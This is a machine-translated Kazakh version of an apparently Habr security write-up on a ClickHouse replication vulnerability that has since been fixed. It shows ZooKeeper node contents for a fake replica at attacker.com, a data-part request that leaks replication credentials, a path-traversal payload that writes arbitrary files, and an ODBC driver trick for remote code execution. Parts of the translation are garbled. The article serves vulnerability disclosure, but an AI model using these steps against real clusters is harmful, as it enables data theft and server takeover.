Бұл мақала ClickHouse репликация хаттамасындағы өте ерекше осалдық туралы әңгімелейді және шабуыл бетін қалай кеңейтуге болатынын көрсетеді.
ClickHouse – көбіне бірнеше көшірмелерді қолданатын үлкен көлемдерді сақтауға арналған дерекқор. ClickHouse ішіндегі кластерлеу және репликация жоғарыдан құрастырылған
Әдепкі ZK орнатуы аутентификацияны қажет етпейді, сондықтан Kafka, Hadoop, ClickHouse конфигурациялау үшін пайдаланылатын мыңдаған ZK серверлері жалпыға қолжетімді.
Шабуыл деңгейін азайту үшін ZooKeeper орнату кезінде аутентификация мен авторизацияны әрқашан конфигурациялау керек.
Әрине, бірнеше күндік Java сериясын жою бар, бірақ шабуылдаушы ClickHouse репликациясы үшін пайдаланылатын ZooKeeper бағдарламасын оқи және жаза алады деп елестетіңіз.
Кластер режимінде конфигурацияланған кезде ClickHouse таратылған сұрауларды қолдайды /clickhouse/task_queue/ddl
.
Мысалы, сіз түйін жасайсыз /clickhouse/task_queue/ddl/query-0001
мазмұнымен:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']
және одан кейін сынақ кестесі хост1 және хост2 кластерлік серверлерінде жойылады. DDL сонымен қатар CREATE/ALTER/DROP сұрауларын орындауды қолдайды.
Қорқынышты естіледі ме? Бірақ шабуылдаушы сервер мекенжайларын қайдан ала алады?
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;
түйіндер құрылады бағандар и метадеректер.
Мазмұны /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Бұл кластерден деректерді біріктіру мүмкін бе? Иә, егер репликация порты (TCP/9009
) серверде chXX-address
брандмауэр жабылмайды және репликацияға арналған аутентификация конфигурацияланбайды. Аутентификацияны қалай айналып өтуге болады?
Шабуыл жасаушы мазмұнды жай көшіру арқылы ZK жүйесінде жаңа көшірме жасай алады /clickhouse/tables/01-01/foobar/replicas/chXX
және мағынасын өзгерту host
.
Мазмұны /clickhouse/кестелер/01–01/foobar/репликалар/шабуылдаушы/хост:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: http
Содан кейін басқа көшірмелерге шабуылдаушы серверінде олар қабылдауы керек деректердің жаңа блогы бар екенін айту керек - ZK-да түйін жасалады. /clickhouse/tables/01-01/foobar/log/log-00000000XX
(ХХ монотонды өсетін есептегіш, оқиғалар журналындағы соңғы саннан үлкен болуы керек):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2
қайда source_replica — алдыңғы қадамда жасалған шабуылдаушы репликасының атауы, block_id — деректер блогының идентификаторы, алу - «блок алу» командасы (және
Әрі қарай, әрбір реплика журналдағы жаңа оқиғаны оқиды және деректер блогын алу үшін шабуылдаушы басқаратын серверге өтеді (репликация протоколы екілік, HTTP үстінде жұмыс істейді). Сервер attacker.com
сұрауларды қабылдайды:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXX
мұндағы XXX – репликацияға арналған аутентификация деректері. Кейбір жағдайларда бұл негізгі ClickHouse протоколы және HTTP протоколы арқылы дерекқорға кіру мүмкіндігі бар тіркелгі болуы мүмкін. Көріп отырғаныңыздай, репликация үшін пайдаланылатын ZooKeeper аутентификациясыз конфигурацияланбағандықтан, шабуыл беті өте үлкен болады.
Репликадан деректер блогын алу функциясын қарастырайық, ол барлық репликалар тиісті бақылауда және олардың арасында сенімділік бар деп толық сеніммен жазылған.
репликацияны өңдеу коды
Функция файлдар тізімін, содан кейін олардың атауларын, өлшемдерін, мазмұнын оқиды, содан кейін оларды файлдық жүйеге жазады. Деректер файлдық жүйеде қалай сақталатынын бөлек сипаттаған жөн.
ішінде бірнеше ішкі каталогтар бар /var/lib/clickhouse
(конфигурация файлындағы әдепкі сақтау каталогы):
жалаулар - жазуға арналған каталог
ПТМ — уақытша файлдарды сақтауға арналған каталог;
пайдаланушы_файлдары — сұраныстардағы файлдармен операциялар осы каталогпен шектеледі (INTO OUTFILE және т.б.);
метадеректер — кесте сипаттамасы бар sql файлдары;
алдын ала өңделген_конфигурациялар - өңделген туынды конфигурация файлдары /etc/clickhouse-server
;
мәліметтер - деректердің өзі бар нақты каталог, бұл жағдайда әрбір дерекқор үшін мұнда жай ғана жеке ішкі каталог жасалады (мысалы, /var/lib/clickhouse/data/default
).
Әрбір кесте үшін дерекқор каталогында ішкі каталог жасалады. Әрбір баған байланысты бөлек файл
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2
Көшірме деректер блогын өңдеу кезінде бірдей атаулары бар файлдарды алуды күтеді және оларды ешқандай жолмен растамайды.
Мұқият оқырман функциядағы file_name деген қауіпті біріктіру туралы естіген болуы мүмкін WriteBufferFromFile
. Иә, бұл шабуылдаушыға пайдаланушы құқығы бар FS жүйесіндегі кез келген файлға ерікті мазмұнды жазуға мүмкіндік береді clickhouse
. Мұны істеу үшін шабуылдаушы басқаратын көшірме сұрауға келесі жауапты қайтаруы керек (түсіну жеңілдігі үшін жол үзілімдері қосылды):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeper
және жалғаудан кейін ../../../../../../../../../tmp/pwned
файл жазылады /tmp/pwned мазмұнымен сәлем зоопарк қызметкері.
Файлды жазу мүмкіндігін қашықтан кодты орындауға (RCE) айналдырудың бірнеше нұсқасы бар.
ӨКП-дегі сыртқы сөздіктер
Ескі нұсқаларда ClickHouse параметрлері бар каталог пайдаланушы құқықтарымен сақталған кликхаус әдепкі. Параметрлер файлдары қызмет іске қосу кезінде оқитын, содан кейін кэште сақтайтын XML файлдары /var/lib/clickhouse/preprocessed_configs
. Өзгерістер орын алған кезде олар қайта оқылады. Егер сізде рұқсат болса /etc/clickhouse-server
шабуылдаушы өзін өзі жасай алады root
.
ODBC-тен RCE-ге
Буманы орнату кезінде пайдаланушы жасалады clickhouse
, бірақ оның үй каталогы жасалмаған /nonexistent
. Дегенмен, сыртқы сөздіктерді пайдаланған кезде немесе басқа себептермен әкімшілер каталог жасайды /nonexistent
және пайдаланушыға беріңіз clickhouse
оған жазу мүмкіндігі (SSZB! шамамен. аудармашы).
ClickHouse қолдайды odbc-bridge
, сондықтан бұдан былай сұраудан драйвер жолын көрсету мүмкін емес. Бірақ шабуылдаушы жоғарыда сипатталған осалдықты пайдаланып үй каталогына жаза ала ма?
Файл жасайық ~/.odbc.ini
келесідей мазмұнмен:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.so
содан кейін іске қосу кезінде SELECT * FROM odbc('DSN=lalala', 'test', 'test');
кітапхана жүктеледі test.so
және RCE алды (рахмет
Осы және басқа осалдықтар ClickHouse 19.14.3 нұсқасында түзетілді. ClickHouse және ZooKeepers туралы қамқорлық жасаңыз!
Ақпарат көзі: www.habr.com